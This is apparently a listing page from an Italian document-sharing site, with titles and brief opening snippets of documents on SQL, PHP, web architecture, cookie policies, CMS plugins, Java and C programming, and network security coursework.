Basi di dati Il Linguaggio SQL Data Definition Language (DDL) Data Definition Language: insieme di istruzioni utilizzate per modificare la struttura della base di dati Ne fanno parte le istruzioni di inserimento,
DettagliClient - Server. Client Web: il BROWSER
Client - Server Client Web: il BROWSER Il client Web è un applicazione software che svolge il ruolo di interfaccia fra l utente ed il WWW, mascherando la complessità di Internet. Funzioni principali Inviare
DettagliTecnologie e Programmazione Web
Presentazione 1 Tecnologie e Programmazione Web Html, JavaScript e PHP RgLUG Ragusa Linux Users Group SOftware LIbero RAgusa http://www.solira.org - Nunzio Brugaletta (ennebi) - Reti 2 Scopi di una rete
DettagliIstruzioni per il pagamento con Carta di Credito
Sommario Sommario...1 Istruzioni per il pagamento con Carta di Credito...2 Maschera dei pagamenti... 2 Effettuare la transazione... 4 Risoluzione problemi...7 Problemi legati alla configurazione della
DettagliGateManager. 1 Indice. tecnico@gate-manager.it
1 Indice 1 Indice... 1 2 Introduzione... 2 3 Cosa vi serve per cominciare... 2 4 La Console di amministrazione... 2 5 Avviare la Console di amministrazione... 3 6 Come connettersi alla Console... 3 7 Creare
DettagliTitolare del trattamento dei dati innanzi descritto è tsnpalombara.it
Decreto Legislativo 196/2003 Codice in materia di protezione dei dati personali COOKIE POLICY La presente informativa è resa anche ai sensi dell art. 13 del D.Lgs 196/03 Codice in materia di protezione
DettagliData Base. Master "Bio Info" Reti e Basi di Dati Lezione 6
Data Base 1 Sommario I concetti fondamentali. Database Relazionale.. Query e SQL MySql, Creazione di un db in MySQL con PHPmyAdmin Creazione database e delle Tabelle Query Inserimento Ricerca Modifica
DettagliImporterONE Export Plugin Magento
ImporterONE Export Plugin Magento Indice generale 1 INTRODUZIONE...2 2 INSTALLAZIONE DEL PLUGIN...2 3 CONFIGURAZIONE...4 4 OPERAZIONI PRELIMINARI...11 1-10 1 INTRODUZIONE Questo plugin di esportazione
DettagliBenvenuti. Luca Biffi, Direttore Tecnico di Achab supporto@achab.it. Achab techjam Archive Server for MDaemon
Benvenuti Luca Biffi, Direttore Tecnico di Achab supporto@achab.it Achab techjam Archive Server for MDaemon Usare Archive Server for MDaemon al 100%: guida alle funzionalità "nascoste" Achab 2 Agenda Come
DettagliSoftware per Helpdesk
Software per Helpdesk Padova - maggio 2010 Antonio Dalvit - www.antoniodalvit.com Cosa è un helpdesk? Un help desk è un servizio che fornisce informazioni e assistenza ad utenti che hanno problemi nella
DettagliPHP e Structured Query Language
Esercitazioni del corso di Tecnologie per la Comunicazione Aziendale PHP e Structured Query Language Marco Loregian loregian@disco.unimib.it www.siti.disco.unimib.it/didattica/tca2008 Interrogazioni (ripasso)
DettagliUtilizzo dei Cookie Cosa sono i cookie? A cosa servono i cookie? cookie tecnici cookie, detti analitici cookie di profilazione
Utilizzo dei Cookie Questo sito utilizza i cookie. Utilizzando il nostro sito web l'utente accetta e acconsente all utilizzo dei cookie in conformità con i termini di uso dei cookie espressi in questo
DettagliLaboratorio di reti II: Problematiche di sicurezza delle reti
Laboratorio di reti II: Problematiche di sicurezza delle reti Stefano Brocchi brocchi@dsi.unifi.it 30 maggio, 2008 Stefano Brocchi Laboratorio di reti II: Sicurezza web 30 maggio, 2008 1 / 43 La sicurezza
DettagliESERCITAZIONE Semplice creazione di un sito Internet
ESERCITAZIONE Semplice creazione di un sito Internet Sistemi e Tecnologie Informatiche - Prof. Gregorio Cosentino 1 Internet Una rete globale che connette milioni di computer in tutto il mondo, anarchica
DettagliCookie Policy per www.lalocandadisettala.com
Policy per www.lalocandadisettala.com Uso dei cookie Il "Sito" (www.lalocandadisettala.com) utilizza i per rendere i propri servizi semplici e efficienti per l utenza che visiona le pagine di www.lalocandadisettala.com.
DettagliLezione II: Web server e ambiente di lavoro
Lezione II: Web server e ambiente di lavoro In questa lezione, in laboratorio, si mostrerà quali sono i passi necessari per creare ed eseguire una pagina ASP. Brevemente, verrà fatto anche vedere, come
DettagliVeneto Lavoro via Ca' Marcello 67/b, 30172 Venezia-Mestre tel.: 041/2919311
Veneto Lavoro via Ca' Marcello 67/b, 30172 Venezia-Mestre tel.: 041/2919311 INDICE 1. INTRODUZIONE... 3 1.1 SCADENZA... 3 1.2 CAUSALE DA UTILIZZARE... 3 2. MODALITÀ OPERATIVE DI COMUNICAZIONE DATI... 4
DettagliGruppo di lavoro per la tutela delle persone con riguardo al trattamento dei dati personali. Raccomandazione 1/99
5093/98/IT/def. WP 17 Gruppo di lavoro per la tutela delle persone con riguardo al trattamento dei dati personali Raccomandazione 1/99 sul trattamento invisibile ed automatico dei dati personali su Internet
DettagliUniversità degli Studi "Roma Tre" Dipartimento di Informatica ed automazione. Facoltà di Ingegneria
Università degli Studi "Roma Tre" Dipartimento di Informatica ed automazione Facoltà di Ingegneria Corso di Laurea in Ingegneria Informatica Tesi di Laurea AUTENTICAZIONE PER APPLICAZIONI WEB Relatore
DettagliProgrammazione Java Avanzata
Programmazione Java Avanzata Accesso ai Dati Ing. Giuseppe D'Aquì Testi Consigliati Eclipse In Action Core J2EE Patterns - DAO [http://java.sun.com/blueprints/corej2eepatterns/patterns/dataaccessobject.html]
DettagliJoomla! 2.5:Utenti e permessi - Il wiki di Joomla.it
Pagina 1 di 6 Joomla! 2.5:Utenti e permessi Da Il wiki di Joomla.it. Traduzione (http://cocoate.com/it/j25it/utenti) dal libro Joomla! 2.5 - Beginner's Guide (http://cocoate.com/j25/users-permissions)
DettagliCome funziona il WWW. Architettura client-server. Web: client-server. Il protocollo
Come funziona il WWW Il funzionamento del World Wide Web non differisce molto da quello delle altre applicazioni Internet Anche in questo caso il sistema si basa su una interazione tra un computer client
DettagliIntroduzione alla programmazione in C
Introduzione alla programmazione in C Testi Consigliati: A. Kelley & I. Pohl C didattica e programmazione B.W. Kernighan & D. M. Ritchie Linguaggio C P. Tosoratti Introduzione all informatica Materiale
DettagliLezione 9. Applicazioni tradizionali
Lezione 9 Applicazioni tradizionali Pag.1 Sommario Concetti trattati in questa lezione: SQL nel codice applicativo Cursori API native ODBC Pag.2 SQL nel codice applicativo I comandi SQL possono essere
Dettagli13 - Gestione della Memoria nella Programmazione Orientata agli Oggetti
13 - Gestione della Memoria nella Programmazione Orientata agli Oggetti Programmazione e analisi di dati Modulo A: Programmazione in Java Paolo Milazzo Dipartimento di Informatica, Università di Pisa http://www.di.unipi.it/
DettagliPer scrivere una procedura che non deve restituire nessun valore e deve solo contenere le informazioni per le modalità delle porte e controlli
CODICE Le fonti in cui si possono trovare tutorial o esempi di progetti utilizzati con Arduino si trovano nel sito ufficiale di Arduino, oppure nei forum di domotica e robotica. Il codice utilizzato per
DettagliCome modificare la propria Home Page e gli elementi correlati
Come modificare la propria Home Page e gli elementi correlati Versione del documento: 3.0 Ultimo aggiornamento: 2006-09-15 Riferimento: webmaster (webmaster.economia@unimi.it) La modifica delle informazioni
DettagliPHP. A. Lorenzi, R. Giupponi, D. Iovino LINGUAGGI WEB. LATO SERVER E MOBILE COMPUTING Atlas. Copyright Istituto Italiano Edizioni Atlas
PHP A. Lorenzi, R. Giupponi, D. Iovino LINGUAGGI WEB. LATO SERVER E MOBILE COMPUTING Atlas Copyright Istituto Italiano Edizioni Atlas Programmazione lato server PHP è un linguaggio che estende le funzionalità
DettagliSistema Gestionale FIPRO. Dott. Enea Belloni Ing. Andrea Montagnani
Sistema Gestionale FIPRO Dott. Enea Belloni Ing. Andrea Montagnani Firenze, 29 Aprile 2010 Sommario della presentazione Il sistema informatico per la gestione progetti FIPRO L utente presentatore: diritti
DettagliObiettivi d esame PHP Developer Fundamentals on MySQL Environment
Obiettivi d esame PHP Developer Fundamentals on MySQL Environment 1.0 Ambiente di sviluppo 1.1 Web server e database MySQL Comprendere la definizione dei processi che si occupano di fornire i servizi web
DettagliImporterOne Manuale Export Plugin Prestashop
ImporterOne Manuale Export Plugin Prestashop Indice generale 1 INTRODUZIONE...2 2 INSTALLAZIONE DEL PLUGIN...2 3 CONFIGURAZIONE...5 4 OPERAZIONI PRELIMINARI...11 1-10 1 INTRODUZIONE Questo plugin di esportazione
DettagliCapitolo 13. Interrogare una base di dati
Capitolo 13 Interrogare una base di dati Il database fisico La ridondanza è una cosa molto, molto, molto brutta Non si devono mai replicare informazioni scrivendole in più posti diversi nel database Per
DettagliDocumentazione API web v 1.0
Documentazione API web v 1.0 Web: www.kalliopepbx.it Supporto tecnico: kalliope-pbx@netresults.it Documentazione API web v1.0-1 - Rev.: 16-11-2012 Documentazione API web v1.0-2 - Rev.: 16-11-2012 Changelog
DettagliInternet e posta elettronica. A cura di Massimiliano Buschi
Internet e posta elettronica A cura di Massimiliano Buschi Concetti fondamentali Internet www Tcp/ip Browser Terminologia Esistono un sacco di termini con cui bisogna famigliarizzare http url Link Isp
Dettagli